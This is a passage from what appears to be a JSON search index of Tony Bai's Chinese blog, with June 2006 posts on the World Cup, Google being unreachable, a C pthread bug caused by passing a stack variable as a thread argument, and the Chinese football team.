King’。此届世界杯诸多新星也是急具魅力，像梅西、罗比尼奥、鲁尼等。诸多悬念也等待着解开？巴西能否夺得第六次世界杯？哪支球队将成为最终黑马？谁会染指最佳球员和最佳射手？最近的一个悬念就是揭幕战德意志战车能否顺利击败哥斯达黎加，反过来说哥斯达黎加能否爆冷击败德国？这一切一切都将在一个小时后的世界杯开幕式后逐渐揭晓。相信此时此刻，全世界有上亿球迷都在默默期盼着德意志上空响起的那世界杯之歌，呐喊着：’世界杯真的来了’！\n一张2006德国世界杯赛程表：\n","permalink":"https://tonybai.com/2006/06/09/worldcup-comes/","summary":"\u003cp\u003e现在离世界杯开幕还有整整1个小时，刚和同事们’吃香喝辣’回来，心中甚是’惦记’着今晚的世界杯开幕式和揭幕战。掐指算来，这可是我经历的三届世界杯以来第一次有机会看到开幕式以及揭幕战。\u003c/p\u003e","title":"世界杯真的来了!"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/06/08/a-bowl-of-self-made-noodles/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"一碗自做的肉丝卤面"},{"content":"自从工作之后就一直使用Google作为主要的搜索工具，相比于Baidu，Google的外文站点搜索是我较为青睐的，毕竟是做技术的，在外国站点上找资料已经是家常便饭。不过最近一段时间Google一直无法访问，最开始以为是公司封掉了Google主站点，直到回到自己的小窝尝试访问Google，仍然得到的是’无法显示网页’的页面。虽然还不能确定是否Google的域名被封了，但是Google暂时或者可能是长久的’离开’了。\n在Google不能访问之后，相继Google bookmark和Gmail也失效了。这两个是我最最常用的功能。现在我已经不在本地收藏任何链接了，所有的站点链接均存储在Google的bookmark服务器上，好处自然是’一次收藏，到处使用’，现在倒好，一个都用不了了，可谓损失巨大亚。\nGmail的有几大特点吸引我：\n1、反垃圾邮件技术。(自从使用Gmail，我就没有收到过垃圾邮件)\n2、邮件搜索。\n3、可以保存Gtalk的Chat history。\n4、大容量的邮件存储(这个很多mail service provider也提供)。\nGmail已经成为我的主力mail，Google的不可访问，直接导致Gmail的不能访问，虽然邮件照常能发到Gmail，不过不能看这可是件很郁闷的事情，还好自从昨天开始Gmail又复活了。\n‘离开’Google的日子还有一件让我很不爽的事，那就是看到Google推出很多新的功能强大的工具，自己却不能使用，如Google Calendar、Google Sitemaps等。\n在’月光博客‘里看到一篇’Google打不开的解决方法和IP地址表‘的文章，试了试里面的几个镜像IP，还不错，都能打开，这样Google’搜索’恢复了，可是我的bookmark还是不能用。以后一定要记住作本地备份，教训亚。\n","permalink":"https://tonybai.com/2006/06/07/the-time-without-google/","summary":"\u003cp\u003e自从工作之后就一直使用Google作为主要的搜索工具，相比于Baidu，Google的外文站点搜索是我较为青睐的，毕竟是做技术的，在外国站点上找资料已经是家常便饭。不过最近一段时间Google一直无法访问，最开始以为是公司封掉了Google主站点，直到回到自己的小窝尝试访问Google，仍然得到的是’无法显示网页’的页面。虽然还不能确定是否Google的域名被封了，但是Google暂时或者可能是长久的’离开’了。\u003c/p\u003e","title":"'离开'Google的日子"},{"content":"上午我们的一个实施组从现网发回来一封邮件，接到这种邮件一般都是报告问题的，果然不出所料，现场出现一个core，经过分析这是个由于线程函数参数存储位置不当造成的，从中我们可以总结出一些经验，以避免以后再犯。\n我采用下面的一个例子来模拟问题的出现：\n#include \u0026lt;pthread.h\u0026gt;\n#include \u0026lt;errno.h\u0026gt;\n#include \u0026lt;stdio.h\u0026gt;\ntypedef struct foo {\nchar c[10];\nint *p;\n} foo;\nvoid *thread_func(void *para) {\nfoo *p = (foo*)para;\nsleep(5); //等待以让gen_thread先退出\nprintf(\u0026quot;[thr2-1]: the foo’s str is %s\\n\u0026quot;, p-\u0026gt;c);\nprintf(\u0026quot;[thr2-1]: the foo’s p is %d\\n\u0026quot;, *(p-\u0026gt;p));\n*(p-\u0026gt;p) = 10;\nstrcpy(p-\u0026gt;c, \u0026ldquo;Bye, Tony\u0026rdquo;);\nprintf(\u0026quot;[thr2-2]: the foo’s str is %s\\n\u0026quot;, p-\u0026gt;c);\nprintf(\u0026quot;[thr2-2]: the foo’s p is %d\\n\u0026quot;, *(p-\u0026gt;p));\nreturn;\n}\npthread_t gen_thread() {\npthread_t id;\nint rv;\nint i = 0;\nfoo f;\nmemset(\u0026amp;f, 0, sizeof(foo));\nstrcpy(f.c, \u0026ldquo;HelloTony\u0026rdquo;);\nf.p = \u0026amp;i;\nprintf(\u0026quot;[thr1]: the foo’s str is %s\\n\u0026quot;, f.c);\nprintf(\u0026quot;[thr1]: the foo’s p is %d\\n\u0026quot;, *(f.p));\nrv = pthread_create(\u0026amp;id, NULL, (void*)thread_func, (void*)\u0026amp;f);\nif (rv != 0) {\nprintf(\u0026ldquo;create pthread error, errno is %d!\\n\u0026rdquo;, errno);\nexit (1);\n}\nreturn id;\n}\nint main() {\npthread_join(gen_thread(), NULL);\nreturn 0;\n}\n编译执行：\na.out\n[thr1]: the foo’s str is HelloTony\n[thr1]: the foo’s p is 0\n[thr2-1]: the foo’s str is 旷\n[thr2-1]: the foo’s p is 0\n[thr2-2]: the foo’s str is Bye, Tony\n[thr2-2]: the foo’s p is 10\n段错误 ((主存储器)信息转储)\n我们来分析一下出现core的过程，gen_thread函数在创建一个新的线程后退出，而在创建新的线程时，传给线程函数的参数是存储在gen_thread函数的栈上的局部变量。而在gen_thread退出后，新线程的线程函数对线程参数进行了修改，其结果就相当于修改了主线程的栈上的数据，而当系统调用访问主线程的栈数据时，这些数据已经被修改，导致系统调用访问到’非法地址’而Dump Core。\n当然上面的例子是’臆造’出来的，这也是我们的系统在一个特殊情况下出现的问题，在以前的测试中从未发生。但是我们系统使用栈上变量作为线程函数参数，这确是一潜在的问题，尽管这种问题的发生几率很小。\n那么如何解决这一问题呢？眼前就有两个办法：\n1、使用全局变量或者是STATIC变量\n在上面的例子中，如果我们把foo f拿到函数外，并声明为static foo f，那么Core就不会出现，因为STATIC变量存储在BSS段中，其Scope也是全局的(文件Scope的全局)。所以即使gen_thread返回，存储f的区域仍然是合法的。但是这样做的一个缺点就是：如果新创建多个线程的话，那么这些线程就会共享该参数了，这是一个需要考虑的问题，但是这种情况也许会是用于某些场合。\n2、在堆上动态分配变量\n在堆上分配变量，既可以避免使用局部变量的’非法访问’问题，也可以避免多个线程共享的问题，针对每创建一个新线程，我们都malloc一块内存，将这块内存地址作为参数传给线程函数。这样做也不是没有弊端，因为动态分配内存，所以你就需要自己管理内存，找到时机释放它。\n还有一种方法叫’线程局部存储(Thread Local Storage，TLS)’，应该专门针对第一种办法的，针对声明为全局的或者STATIC的变量，给每个线程提供一份COPY，保证互不干扰。当然这种技术需要编译器的扩展支持，目前不常用，这里也就不多说了。\n总之，通过对上面这个问题地分析，我们应该在使用线程的时候注意线程参数的存储方式，这才是我们讨论这个问题的目的。\n","permalink":"https://tonybai.com/2006/06/07/a-problem-caused-by-thread-func-argument/","summary":"\u003cp\u003e上午我们的一个实施组从现网发回来一封邮件，接到这种邮件一般都是报告问题的，果然不出所料，现场出现一个core，经过分析这是个由于线程函数参数存储位置不当造成的，从中我们可以总结出一些经验，以避免以后再犯。\u003c/p\u003e","title":"线程函数参数引发的问题"},{"content":"最近中国国家足球队一直忙于’陪太子读书’，先陪完瑞士，今晚再陪法国，不过这个’陪太子读书’的机会也来之不易，这还多亏我们的近邻，我们的榜样-’韩国队’。\n不可否认的是’韩国队’是我们的死对头，但是较量了几十年，结果如何呢？中韩两队差距越拉越大，已经不是一个量级的球队了。不拿2002年那只超级’黑’的韩国队比，就拿现在这只正在备战世界杯的韩国队说，韩国队能以替补阵容战平挪威，而中国却以1：4惨败给瑞士，水平立见分晓。不说比分也行，说了伤心，咱再看看场上的球员的表现，我相信看惯了欧洲顶级联赛的球迷们看中国队踢球感觉就像’过家家’，业余的很，球员的个人能力真是不敢恭维，现在的我们的技战术水准和个人能力已经远远落后于日韩了。真不知道足协是怎么想的，目光太短浅，看看人家今年的荷兰队，整个一只青年军。人家可是要参加世界杯的，人家都不怕输，中国队还有什么可怕的，换掉这批老的，锻炼新人，把贾秀全那只国奥直接升到国足，然后利用’陪太子读书’的机会好好锻炼锻炼。\n好了，一说到中国队就’恨铁不成钢’，有些冲动。中国球迷都为中国队好，都希望中国队能快些强大，毕竟有些球迷从黑发等到了白发了，还不见中国队有进步，心里难受呀。\n还得说要谢谢’韩国队’的事，看到新浪网这样一篇文章：\u0026quot;国足陪练打出特殊意义，中法战后打遍世界杯冠军\u0026quot;，说中国队目前已经和所有的历届世界杯得主过过招了，这其中包括巴西(五次)、西德(三次)、意大利(三次)、阿根廷(两次)、乌拉圭(两次)、英格兰(一次)和法国(一次，今天晚上)。这些比赛中除了友谊赛，就是世界杯前的热身赛，而在这些热身赛中，中国队均是充当韩国队的替身，你说中国队是不是要感谢韩国人呢？\n我们的确得感谢韩国人，韩国人为亚洲足球争气，从另一面也让世界足球的目光更多的聚向亚洲；另外我们不要总是谈’恐韩症’，韩国人为我们在足球方面树立了榜样，我们应当虚心学习，’头悬梁锥刺股’也好，卧薪尝胆也好，总之我们应该练好自己的内功，谦虚一点，本来我们就’一无是处’，别整没用的，在球场上凭的那是实力，什么黑色几分钟的，那明显是实力不行，韩国人怎么没被’黑’呢，人家实力在那摆着呢，啥也别说了，闷头儿练球吧。\n","permalink":"https://tonybai.com/2006/06/07/national-football-team-should-appreciate-korean/","summary":"\u003cp\u003e最近中国国家足球队一直忙于’陪太子读书’，先陪完瑞士，今晚再陪法国，不过这个’陪太子读书’的机会也来之不易，这还多亏我们的近邻，我们的榜样-’韩国队’。\u003c/p\u003e","title":"中国队应该感谢韩国人"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/06/06/remembrance-of-666/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" 